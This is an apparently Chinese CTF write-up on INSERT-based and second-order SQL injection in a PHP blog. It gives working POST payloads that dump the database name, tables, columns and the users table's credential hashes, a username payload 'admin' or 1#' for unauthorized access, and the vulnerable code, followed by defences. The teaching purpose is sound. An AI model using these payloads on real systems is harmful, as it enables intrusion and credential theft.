一次insert注入引发的思考
字数 1424 2025-08-26 22:11:45
INSERT注入与二次注入技术详解
一、注入技术概述
本文通过分析一个实际的CTF题目案例,详细讲解INSERT注入和二次注入两种SQL注入技术的原理、利用方式和防御方法。
二、INSERT注入分析
1. 漏洞环境
题目是一个博客系统,主要功能点:
- 用户登录后可以提交标题和内容
- 提交内容处存在SQL注入漏洞
- 回显位置在提交页面和user.php页面
2. 注入点发现
通过测试发现content参数存在注入漏洞,构造如下payload:
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(database()),'a
3. 注入利用步骤
(1) 获取数据库名
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(database()),'a
返回数据库名:miniblog
(2) 获取表名
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(table_name) from information_schema.tables where table_schema = database()),'a
返回表名:posts,users
(3) 获取列名
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(column_name) from information_schema.columns where table_name = 0x7573657273),'a
返回users表的列名:username,password
(4) 获取数据
POST /post.php HTTP/1.1
title=1a&content=1','4'),('a',(select group_concat(username,password) from users),'a
返回用户凭证:
- admin:dbb616c5d935d8f34c12c291066d6fb7
- (melody123)admin:8beac31ce70381dca1107195809d9f23
- a:0cc175b9c0f1b6a831c399e269772661
4. 漏洞代码分析
关键漏洞代码:
$title = htmlspecialchars($_POST['title']);
$content = htmlspecialchars($_POST['content']);
$username = addslashes($_SESSION['username']);
$sql = "INSERT INTO `posts` VALUES(NULL,'{$title}', '{$content}','{$username}')";
问题:
- 虽然使用了
htmlspecialchars过滤,但对SQL注入无效 - 构造的SQL语句最终形式:
INSERT INTO `posts` VALUES(NULL,'1a', '1','4'),('a',(database()),'a','{$username}')
三、二次注入分析
1. 二次注入原理
二次注入的特点是:
- 恶意数据首先被插入到数据库中
- 之后从数据库取出该数据并用于SQL查询
- 导致SQL注入发生
2. 题目中的二次注入
在登录后的代码中存在二次注入:
$sql = "SELECT * FROM `posts` WHERE username='{$_SESSION['username']}';";
$_SESSION['username']的值来自数据库查询:
$sql = "SELECT * FROM `users` WHERE username = '{$username}'";
$result = $conn->query($sql);
$row = $result->fetch_assoc();
$_SESSION['username'] = $row['username'];
3. 二次注入利用
注册恶意用户:
- 用户名:
admin' or 1# - 登录后,查询语句变为:
SELECT * FROM `posts` WHERE username='admin' or 1#'
这将返回所有提交记录,实现越权访问。
四、防御措施
1. 针对INSERT注入
-
参数化查询:使用预处理语句
$stmt = $conn->prepare("INSERT INTO posts VALUES (NULL, ?, ?, ?)"); $stmt->bind_param("sss", $title, $content, $username); -
严格输入验证:
- 对标题和内容长度限制
- 使用白名单验证输入格式
-
最小权限原则:数据库用户只授予必要权限
2. 针对二次注入
-
数据一致性检查:
- 从数据库取出的数据应再次验证
- 使用类型转换确保数据格式
-
输出编码:
- 根据上下文使用适当的编码(HTML、SQL、URL等)
-
会话数据验证:
if(!preg_match('/^[a-zA-Z0-9_]+$/', $_SESSION['username'])) { // 非法用户名格式 }
五、技术对比
| 特性 | INSERT注入 | 二次注入 |
|---|---|---|
| 触发时机 | 立即执行 | 数据被再次使用时触发 |
| 利用方式 | 直接构造恶意SQL | 先存储后触发 |
| 防御难度 | 较容易防御 | 较难发现和防御 |
| 常见场景 | 数据插入操作 | 数据重用场景 |
六、总结
- INSERT注入是直接通过插入操作执行的SQL注入
- 二次注入需要两个阶段:存储恶意数据和后续触发
- 防御需要多层次措施:输入验证、参数化查询、输出编码
- 从数据库取出的数据应视为不可信数据,需要重新验证
通过深入理解这两种注入技术,开发人员可以更好地设计和实现安全的Web应用程序。